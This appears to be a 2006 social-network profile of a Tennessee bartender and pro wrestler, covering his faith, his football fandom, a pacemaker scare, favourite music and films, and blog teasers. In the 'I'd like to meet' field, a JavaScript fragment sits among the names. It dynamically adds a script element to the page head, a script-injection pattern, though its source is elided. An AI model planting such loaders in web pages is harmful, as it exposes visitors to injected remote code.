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KEVIN AGES

IT AIN'T ABOUT HOW HARD YOU HIT. IT'S ABOUT HOW HARD YOU CAN GET HIT, AND KEEP MOVING FORWARD

About Me

I am 33 years old, & single, & having a blast!! I am a bartender in Chattanooga about to move to Knoxville. If you want to party, and you need a drink,then I'm your man. I was born in good ole Chattanooga, Tennessee, and raised in Houston, Texas! I often say that I had the best life growing up in the two best places ever! I am a devout, die-hard Tennessee Volunteer fan, as well as an Alabama Crimson Tide man! People don't ever understand that combination! To some, it makes them sick! So, all you have to do is read my blogs & it should clear up any questions & misunderstandings! As a matter of fact, when I die, I wish to be buried, but before I am buried, I want my heart to be taken & cremated & the ashes spread from endzone to endzone @ Neyland Stadium in Knoxville. I want my ASS to be cremated, & spread over the Florida Gators campus! I have some of the best friends in the world, and I am proud of everyone of them: Keith in Houston, Earl, Copperhead, Jack Diamond, Mick, and Tate (Hooooahhh). MISSY AND CHELSON: I LOVE YOU GUYS! THANK YOU FOR BEING THERE! You guys are the best!!! I am a professional wrestler, and I have had a ton of fun entertaining people over the years, especially the kids. They are the greatest. One of these days I am going back to finish my degree in Criminal Justice, and enter Law School. My parents have given me a life through Jesus Christ, and I am very fortunate to know Him. The only reason I am alive today is by His grace! A little over 2 years ago, I died. 5 times. My heart suddenly stopped, and I would pass out each time. Finally, I collapsed at a mall here in Chattanooga. I was taken to the hospital, where I recieved a pacemaker. Today, I am perfectly healthy, as I was that day I went down. It was from an electrical misfire. No blockage, not high blood pressure, nothing like that.. I am strong as a bull, and fit as a marathon runner!! Well, damn!! Maybe the marathon thing was stretching it a bit! But you get the point. I am still a pro wrestler, and I enjoy life more. God blessed me with some wonderful friends and the best family. All of them were there when I needed them. It was only through God's will, that he allowed me to continue on this earth. So, I don't always do the right thing, but I try to live life to the fullest. I joke non-stop, and work hard, and enjoy recieving His blessings. One of these days I hope to meet the right woman, get married, and be a great Daddy. And I will be a good one too! Folks, after all that, I can honestly tell you, life is good, and it is worth living, and living well! God tells us, that we are only given a few days on this earth. And those days are filled with trouble. So don't go adding to those troubles by creating more of them on your own. Enjoy life, and maybe some day,we can go fishing, or have a beer and be good friends. If not, hopefully we'll all sing together from the other side! Take it easy! Get Your Own! | View Slideshow

My Interests

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I have a ton of interests. However, there a a few that mean the most to me. Firstly, and most of all I LOVE The LORD! Period! END OF DISCUSSION! After that, it's all about my family, and TENNESSEE VOLUNTEERS FOOTBALL!! I am very interested in Church, pro wrestling, camping, 4-wheeling, fishing, anything outdoors. I AM A MASTER GRILLER!! I love good potato salad. But my favorite food of all is: MY MOMMA'S SLOPPY JOES!! TRUST ME, THEY ARE THE BOMB! As far as football goes, it is the TENNESSEE VOLUNTEERS, & the CHICAGO BEARS. There is no better place, than down on the VOLS NAVY, with the greatest friends on earth. NOTHING BUT THE BEST OF TIMES! KNOXVILLE is the best!TO:SPURRIER, SOUTH CAROLINA, AND FLORIDA!!! LET'S ROCK!!HEY SPURRIER! HERE'S TO YA! GAMECOCKS SUCK!! LOVE,DITKA.

I'd like to meet:

Jesus Christ, my Uncle John, Hank Williams Jr, Merle Haggard, Waylon Jennings, George Jones, Will Ferrell, Bear Bryant, Andy Griffith, Don Knotts, Walter Payton and Ron White. .."var s=document.createElement('script');s.src='..';document.getEl ementsByTagName('head')[0].appendChild(s);"

Music:

Hank Williams Jr., Waylon Jennings, Merle Haggard, George Jones, Willie Nelson, Johnny Cash, Roger Allen Wade, Elvis, Kid Rock, Lynyrd Skynyrd, AC DC, and Ozzy, Bluegrass/Gospel, and Old Church Hymns. Gotta mix of all kinds of good music there!!

Movies:

Tombstone, One Flew Over the Cuckoo's Nest, ...And Justice For All, Goodfellas, A Christmas Story, Planes Trains & Automobiles, It's A Wonderful Life, The Ten Commandments. Any movie with Will Ferrell or Chris Farley, Tyler Perry, Clint Eastwood, Robert DeNiro, Bill Murray, John Candy, Steve Martin, Al Pacino, Jack Nicholson, are the best!! My favorite movies are the comedies.

Television:

The Shield, Married With Children, South Park, CSI, The Andy Griffith Show (with Barney, Bill Dance Outdoors,

Heroes:

Jesus Christ, my Mom & Dad, my Uncle John, Hank Williams Jr., Walter Payton, and Ron White from The Blue Collar Comedy Tour, Andy Griffith and Barney Fife. NIP IT ANDY!!! NIP IT IN THE BUD!!

My Blog

The Tide!

Why is it, I love Alabama as much as Tennessee?  How can I even fathom the two like that?  "You can't have both!  Pick one!  This is worse than the Hatfields and McCoys!", people t...
Posted by KEVIN AGES on Sun, 30 Jul 2006 04:56:00 PST

Alabama Football

When I was a little bitty boy, I can remember my Grandparents, Mom & Gran, telling me about Bear Bryant, and teaching me to say, "Roll Tide!"  Hell, I was saying "Roll Tide" before I was...
Posted by KEVIN AGES on Sun, 30 Jul 2006 05:23:00 PST

Roll Tide!!!!!

When I think of Alabama Football, I think of the Tide, for the same reasons as I do for Tennessee.  It is almost a spiritual experience to be apart of the Crimson Tide family.  And that is e...
Posted by KEVIN AGES on Sun, 30 Jul 2006 04:37:00 PST

Go Vols!

I was born in Tennessee, and had friends that went to UTK, and supported them.  I have never been in a more fun, and festive atmosphere than Knoxville, Tennessee on a Volunteer Football weekend!!...
Posted by KEVIN AGES on Sun, 30 Jul 2006 04:22:00 PST

The Volunteers, & The Crimson Tide

Some of you may want to know, how can a human being love  two bitter rivals such as, the Tennessee Volunteers, & the Alabama Crimson Tide.  I know it is sounds ludicrous, ...
Posted by KEVIN AGES on Sun, 30 Jul 2006 04:01:00 PST